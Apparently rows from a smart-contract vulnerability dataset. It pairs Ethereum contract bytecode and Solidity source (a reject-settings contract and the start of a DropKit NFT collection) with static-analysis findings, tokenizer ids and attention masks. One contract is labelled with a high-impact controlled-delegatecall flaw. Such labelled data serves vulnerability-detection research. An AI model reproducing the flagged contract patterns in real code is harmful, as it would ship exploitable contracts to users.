83820152602001610e24565b50604080517f70a0823100000000000000000000000000000000000000000000000000000000815233600482018190529151869173ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015611cd457600080fd5b505afa158015611ce8573d6000803e3d6000fd5b505050506040513d6020811015611cfe57600080fd5b505160408051808201909152600281527f3130000000000000000000000000000000000000000000000000000000000000602082015290861115611d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b50611da783614777565b611db1838361499a565b73ffffffffffffffffffffffffffffffffffffffff8084166000908152600a6020908152604080832093861683529290522054611dee9086614aff565b73ffffffffffffffffffffffffffffffffffffffff8085166000818152600a60209081526040808320948816835293815283822094909455908152600b909252902054611e3b9086614aff565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600b6020526040902091909155611e73908216833088614b73565b6040805173ffffffffffffffffffffffffffffffffffffffff8881168252602082018890528251908516927f5548c837ab068cf56a2c2479df0882a4922fd203edb7517321831d95078c5f62928290030190a25050601280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690555060019392505050565b6000806004805480602002602001604051908101604052809291908181526020018280548015611f6057602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311611f35575b5050505050905060005b8151811015611fcd578373ffffffffffffffffffffffffffffffffffffffff16828281518110611f9657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415611fc557600192505050611a74565b600101611f6a565b5060009392505050565b6000611fe233611efa565b6040518060400160405280600281526020017f34300000000000000000000000000000000000000000000000000000000000008152509061207e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5073ffffffffffffffffffffffffffffffffffffffff84166000908152600f602052604090205460ff1615610eb057610eb08484614c0e565b600080839050828173ffffffffffffffffffffffffffffffffffffffff166359356c5c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561210457600080fd5b505afa158015612118573d6000803e3d6000fd5b505050506040513d602081101561212e57600080fd5b50511015949350505050565b600960209081526000928352604080842090915290825290205481565b6000805473ffffffffffffffffffffffffffffffffffffffff1633146121de57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000600480548060200260200160405190810160405280929190818152602001828054801561224357602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311612218575b5050505050905060005b8151811015610eb057600082828151811061226457fe5b602002602001015190508073ffffffffffffffffffffffffffffffffffffffff166359baef40866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156122d757600080fd5b505af11580156122eb573d6000803e3d6000fd5b50506001909301925061224d915050565b600061230733611efa565b6040518060400160405280600281526020017f3430000000000000000000000000000000000000000000000000000000000000815250906123a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5050151592915050565b60125460408051808201909152600281527f343500000000000000000000000000000000000000000000000000000000000060208201529060ff161561244e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b50601280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055604080517fc5d40b8a00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff83811660048301529151849260009283929185169163c5d40b8a9160248082019261018092909190829003018186803b1580156124f257600080fd5b505afa158015612506573d6000803e3d6000fd5b505050506040513d61018081101561251d57600080fd5b5080516101409091015160408051808201909152600281527f3135000000000000000000000000000000000000000000000000000000000000602082015291935091503373ffffffffffffffffffffffffffffffffffffffff8416146125de576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5060006125eb8686614427565b90508180156125f957508015155b6040518060400160405280600281526020017f343400000000000000000000000000000000000000000000000000000000000081525090612695576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5073ffffffffffffffffffffffffffffffffffffffff8516600090815260106020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790556126ec614053565b90508073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561275557600080fd5b505afa158015612769573d6000803e3d6000fd5b505050506040513d602081101561277f57600080fd5b505160408051808201909152600281527f343100000000000000000000000000000000000000000000000000000000000060208201529083111561281e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5061284073ffffffffffffffffffffffffffffffffffffffff8216858461462f565b60408051838152905173ffffffffffffffffffffffffffffffffffffffff8616917f1f89f96333d3133000ee447473151fa9606543368f02271c9d95ae14f13bcc67919081900360200190a25050601280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690555050505050565b600a60209081526000928352604080842090915290825290205481565b60056020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b6060600380548060200260200160405190810160405280929190818152602001828054801561296757602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff16815260019091019060200180831161293c575b5050505050905090565b60005473ffffffffffffffffffffffffffffffffffffffff1633146129f757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040805191909216808252602082019390935281517ff9ffabca9c8276e99321725bcb43fb076a6c66a54b7f21c4e8146d8519b417dc929181900390910190a15050565b606060048054806020026020016040519081016040528092919081815260200182805480156129675760200282019190600052602060002090815473ffffffffffffffffffffffffffffffffffffffff16815260019091019060200180831161293c575050505050905090565b600c6020526000908152604090205481565b60005473ffffffffffffffffffffffffffffffffffffffff163314612b8457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b612b8d84611efa565b6040518060400160405280600281526020017f333900000000000000000000000000000000000000000000000000000000000081525090612c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5073ffffffffffffffffffffffffffffffffffffffff84166000908152600860205260409020548314612c8857612c5f84614777565b73ffffffffffffffffffffffffffffffffffffffff841660009081526008602052604090208390555b73ffffffffffffffffffffffffffffffffffffffff84166000908152600c60205260409020548214612cdd5773ffffffffffffffffffffffffffffffffffffffff84166000908152600c602052604090208290555b73ffffffffffffffffffffffffffffffffffffffff8416600090815260116020526040902054158015612d0f57508115155b15612d415773ffffffffffffffffffffffffffffffffffffffff84166000908152601160205260409020439055612d6d565b81612d6d5773ffffffffffffffffffffffffffffffffffffffff84166000908152601160205260408120555b73ffffffffffffffffffffffffffffffffffffffff84166000818152600f602090815260409182902080548515157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909116811790915582519384529083018690528282018590526060830152517f510b9af7cf5e00211f646a615d08f77218872cd310a811f6913e91c1167bbf009181900360800190a150505050565b600b6020526000908152604090205481565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600e602090815260408083205460048054835181860281018601909452808452919385939290830182828015612ea557602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311612e7a575b5050505050905060005b815181101561311457600060076000848481518110612eca57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90047bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169050600060096000858581518110612f6a57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600014801561300b57506ec097ce7bc90715b34b9f10000000008210155b1561302257506ec097ce7bc90715b34b9f10000000005b600061302e8383614735565b90508015613109576000600a600087878151811061304857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006130f86ec097ce7bc90715b34b9f10000000006130f28585614c4990919063ffffffff16565b90614cbc565b90506131048882614aff565b975050505b505050600101612eaf565b50909392505050565b6ec097ce7bc90715b34b9f100000000081565b60005473ffffffffffffffffffffffffffffffffffffffff1633146131b657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60408051808201909152600281527f3232000000000000000000000000000000000000000000000000000000000000602082015273ffffffffffffffffffffffffffffffffffffffff8216613266576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5060408051808201909152600281527f3238000000000000000000000000000000000000000000000000000000000000602082015282613301576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b50600061330c614053565b90508073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561337557600080fd5b505afa158015613389573d6000803e3d6000fd5b505050506040513d602081101561339f57600080fd5b505160408051808201909152600181527f340000000000000000000000000000000000000000000000000000000000000060208201529084111561343e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5061346073ffffffffffffffffffffffffffffffffffffffff8216838561462f565b505050565b60008060048054806020026020016040519081016040528092919081815260200182805480156134cb57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff1681526001909101906020018083116134a0575b505050505090506000805b825181101561354e57613544600860008584815181106134f257fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483614aff90919063ffffffff16565b91506001016134d6565b5091505090565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60116020526000908152604090205481565b60005473ffffffffffffffffffffffffffffffffffffffff16331461360957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b8073ffffffffffffffffffffffffffffffffffffffff166315ba56e56040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561365157600080fd5b505af1158015613665573d6000803e3d6000fd5b505050506040513d602081101561367b57600080fd5b505160408051808201909152600281527f3432000000000000000000000000000000000000000000000000000000000000602082015290613717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5050565b600f6020526000908152604090205460ff1681565b6000600480548060200260200160405190810160405280929190818152602001828054801561379557602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff16815260019091019060200180831161376a575b5050505050905060005b8151811015613460576137c48282815181106137b757fe5b6020026020010151614777565b6137e18282815181106137d357fe5b60200260200101518461499a565b60010161379f565b60125460408051808201909152600281527f3435000000000000000000000000000000000000000000000000000000000000602082015260009160ff161561388c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b50601280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905573ffffffffffffffffffffffffffffffffffffffff808416600090815260056020526040902054166138e981611efa565b6040518060400160405280600281526020017f333900000000000000000000000000000000000000000000000000000000000081525090613985576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5073ffffffffffffffffffffffffffffffffffffffff81166000908152600a602090815260408083203380855290835292819020548151808301909252600282527f34330000000000000000000000000000000000000000000000000000000000009282019290925290851115613a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b50613a6182614777565b613a6b828261499a565b73ffffffffffffffffffffffffffffffffffffffff8083166000908152600a60209081526040808320938516835292905220548590613aaa9086614735565b73ffffffffffffffffffffffffffffffffffffffff8085166000818152600a60209081526040808320948816835293815283822094909455908152600b909252902054613af79086614735565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600b6020526040902091909155613b2e908216838761462f565b6040805173ffffffffffffffffffffffffffffffffffffffff8881168252602082018890528251908516927f9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb928290030190a25050601280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690555060019392505050565b6000613bc033611efa565b6040518060400160405280600281526020017f343000000000000000000000000000000000000000000000000000000000000081525090613c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5073ffffffffffffffffffffffffffffffffffffffff87166000908152600f602052604090205460ff1615613c9557613c958783614c0e565b5060019695505050505050565b6000805473ffffffffffffffffffffffffffffffffffffffff163314613d2957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60065460408051808201909152600281527f333700000000000000000000000000000000000000000000000000000000000060208201529060ff1615613dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b5081518351146040518060400160405280600281526020017f333600000000000000000000000000000000000000000000000000000000000081525090613e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b508151613e809060049060208501906151ad565b508251613e949060039060208601906151ad565b50600680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905560005b8251811015610eb057600060076000858481518110613ede57fe5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff16825281019190915260400160002080549091507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16613f6d5780547fffffffff00000000000000000000000000000000000000000000000000000000166ec097ce7bc90715b34b9f10000000001781555b613f76436146bc565b815463ffffffff919091167c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091161781558351849083908110613fd157fe5b602002602001015160056000878581518110613fe957fe5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff90811683529082019290925260400160002080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169290911691909117905550600101613ec3565b600654610100900473ffffffffffffffffffffffffffffffffffffffff1690565b60005473ffffffffffffffffffffffffffffffffffffffff1633146140fa57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff909216610100027fffffffffffffffffffffff0000000000000000000000000000000000000000ff909216919091179055565b6000805473ffffffffffffffffffffffffffffffffffffffff1633146141cd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b604080517fdd2cc3f30000000000000000000000000000000000000000000000000000000081526004810185905273ffffffffffffffffffffffffffffffffffffffff84811660248301529151869283169163dd2cc3f391604480830192600092919082900301818387803b15801561424557600080fd5b505af1158015614259573d6000803e3d6000fd5b50600198975050505050505050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600d602052604090205480158015906142c3575073ffffffffffffffffffffffffffffffffffffffff821660009081526010602052604090205460ff16155b156134605760008390506000808273ffffffffffffffffffffffffffffffffffffffff1663c5d40b8a866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1681526020019150506101806040518083038186803b15801561433857600080fd5b505afa15801561434c573d6000803e3d6000fd5b505050506040513d61018081101561436357600080fd5b50805160e09091015190925090506000614389670de0b6b3a76400006130f28488614c49565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e60205260409020549091506143bc9082614aff565b73ffffffffffffffffffffffffffffffffffffffff9384166000908152600e60209081526040808320939093559488168152601090945290922080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055505050505050565b73ffffffffffffffffffffffffffffffffffffffff811660009081526010602052604081205460ff161561445d57506000610eca565b600083905060008060008373ffffffffffffffffffffffffffffffffffffffff1663c5d40b8a876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1681526020019150506101806040518083038186803b1580156144cf57600080fd5b505afa1580156144e3573d6000803e3d6000fd5b505050506040513d6101808110156144fa57600080fd5b5060e081015161010082015161014090920151909450909250905080614527576000945050505050610eca565b73ffffffffffffffffffffffffffffffffffffffff8716600090815260116020526040902054158061457d575073ffffffffffffffffffffffffffffffffffffffff871660009081526011602052604090205482105b1561458f576000945050505050610eca565b73ffffffffffffffffffffffffffffffffffffffff86166000908152600d60205260408120546145e45773ffffffffffffffffffffffffffffffffffffffff88166000908152600c602052604090205461460b565b73ffffffffffffffffffffffffffffffffffffffff87166000908152600d60205260409020545b9050614623670de0b6b3a76400006130f28684614c49565b98975050505050505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052613460908490614cfe565b6000640100000000821061473157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4e756d626572206973206f766572203332206269747300000000000000000000604482015290519081900360640190fd5b5090565b6000610ec783836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f7700815250614dd6565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260076020908152604080832060089092528220548154919243926147e290849063ffffffff7c010000000000000000000000000000000000000000000000000000000090910481169061473516565b90506000811180156147f45750600082115b156149365773ffffffffffffffffffffffffffffffffffffffff85166000908152600b60205260408120549061482a8385614c49565b9050600080831161483c576000614859565b614859836130f2846ec097ce7bc90715b34b9f1000000000614c49565b875490915061488f9061488a907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1683614aff565b614e4a565b87547fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff919091161787556148e0866146bc565b875463ffffffff919091167c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff90911617875550614993915050565b801561499357614945836146bc565b845463ffffffff919091167c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091161784555b5050505050565b73ffffffffffffffffffffffffffffffffffffffff828116600090815260076020908152604080832080546009845282852095871685529490925290912080547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff90931690819055909180158015614a1d57506ec097ce7bc90715b34b9f10000000008210155b15614a3457506ec097ce7bc90715b34b9f10000000005b6000614a408383614735565b90508015614af75773ffffffffffffffffffffffffffffffffffffffff8087166000908152600a6020908152604080832093891683529290529081205490614a9b6ec097ce7bc90715b34b9f10000000006130f28486614c49565b73ffffffffffffffffffffffffffffffffffffffff88166000908152600e6020526040902054909150614ace9082614aff565b73ffffffffffffffffffffffffffffffffffffffff88166000908152600e602052604090205550505b505050505050565b600082820183811015610ec757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6040805173ffffffffffffffffffffffffffffffffffffffff80861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd00000000000000000000000000000000000000000000000000000000179052614c08908590614cfe565b50505050565b73ffffffffffffffffffffffffffffffffffffffff9182166000908152600c6020908152604080832054939094168252600d90529190912055565b600082614c5857506000610eca565b82820282848281614c6557fe5b0414610ec7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061526a6021913960400191505060405180910390fd5b6000610ec783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614ed7565b6000614d60826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16614f569092919063ffffffff16565b80519091501561346057808060200190516020811015614d7f57600080fd5b5051613460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061528b602a913960400191505060405180910390fd5b60008184841115614e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b505050900390565b60007c0100000000000000000000000000000000000000000000000000000000821061473157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4e756d626572206973206f766572203232342062697473000000000000000000604482015290519081900360640190fd5b60008183614f40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315610e3c578181015183820152602001610e24565b506000838581614f4c57fe5b0495945050505050565b6060614f658484600085614f6d565b949350505050565b606082471015614fc8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806152446026913960400191505060405180910390fd5b614fd185615127565b61503c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106150a557805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101615068565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114615107576040519150601f19603f3d011682016040523d82523d6000602084013e61510c565b606091505b509150915061511c82828661512d565b979650505050505050565b3b151590565b6060831561513c575081610eb4565b82511561514c5782518084602001fd5b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152845160248401528451859391928392604401919085019080838360008315610e3c578181015183820152602001610e24565b828054828255906000526020600020908101928215615227579160200282015b8281111561522757825182547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9091161782556020909201916001909101906151cd565b506147319291505b80821115614731576000815560010161522f56fe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220178f91d826d7bd7447e90f7b0343d4e5faad95eab8ed24cd09725753f17221cd64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
3540,
2497,
18827,
2683,
3540,
21057,
2581,
21486,
2509,
2278,
2683,
2050,
22203,
2692,
6679,
2487,
2497,
2581,
2050,
2692,
20952,
2497,
18827,
16409,
10322,
2094,
1013,
1013,
100,
100,
100,
100,
100,
100,
100,
1013,
1013,
100,
100,
100,
1013,
1013,
100,
100,
100,
100,
1013,
1013,
100,
100,
100,
100,
1013,
1013,
100,
100,
100,
100,
100,
1013,
1013,
100,
100,
100,
100,
100,
100,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1020,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
12324,
1000,
1012,
1013,
21183,
12146,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
24531,
27266,
2378,
8663,
13181,
10820,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,412 | 0x951d1df1182b637a2563694c9856B822DF0BE83d | contract PostboyRejectSetting {
address public adminAddress;
uint256 public minTimeForReject;
bool public isRejectEnabled;
modifier isAdmin() {
require(msg.sender == adminAddress);
_;
}
constructor() public {
adminAddress = msg.sender;
minTimeForReject = 0;
isRejectEnabled = false;
}
function changeRejectSetting(uint256 rejectTime, bool isEnabled) isAdmin public {
minTimeForReject = rejectTime;
isRejectEnabled = isEnabled;
}
} | 0x6080604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631c4f22728114610066578063ba4707381461008f578063fc6f9468146100ae578063ff5048d2146100ec575b600080fd5b34801561007257600080fd5b5061007b610113565b604080519115158252519081900360200190f35b34801561009b57600080fd5b506100ac600435602435151561011c565b005b3480156100ba57600080fd5b506100c3610159565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100f857600080fd5b50610101610175565b60408051918252519081900360200190f35b60025460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff16331461014057600080fd5b6001919091556002805460ff1916911515919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b600154815600a165627a7a723058202ed4ce014b7448ace7f457eb05abeef0e4de724ae17fa7bb0d4479901ae25d000029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22203,
2094,
2487,
20952,
14526,
2620,
2475,
2497,
2575,
24434,
2050,
17788,
2575,
21619,
2683,
2549,
2278,
2683,
27531,
2575,
2497,
2620,
19317,
20952,
2692,
4783,
2620,
29097,
3206,
2695,
11097,
2890,
20614,
21678,
2075,
1063,
4769,
2270,
4748,
22311,
14141,
8303,
1025,
21318,
3372,
17788,
2575,
2270,
12927,
14428,
29278,
2890,
20614,
1025,
22017,
2140,
2270,
2003,
2890,
20614,
8189,
23242,
1025,
16913,
18095,
18061,
22117,
2378,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
4748,
22311,
14141,
8303,
1007,
1025,
1035,
1025,
1065,
9570,
2953,
1006,
1007,
2270,
1063,
4748,
22311,
14141,
8303,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
12927,
14428,
29278,
2890,
20614,
1027,
1014,
1025,
2003,
2890,
20614,
8189,
23242,
1027,
6270,
1025,
1065,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,413 | 0x951d77b7ce4caa3e48c3c3bcd694e5a909006d4d | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "./IDropKit.sol";
contract DropKitCollection is
ERC721Upgradeable,
ERC721EnumerableUpgradeable,
OwnableUpgradeable
{
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
using MerkleProofUpgradeable for bytes32[];
IDropKit private _dropKit;
mapping(address => uint256) private _mintCount;
uint256 private _totalRevenue;
bytes32 private _merkleRoot;
string private _tokenBaseURI;
address private _treasury;
// Sales Parameters
uint256 private _maxAmount;
uint256 private _maxPerMint;
uint256 private _maxPerWallet;
uint256 private _price;
// Auction Parameters
uint256 private _startPrice;
uint256 private _endPrice;
uint256 private _duration;
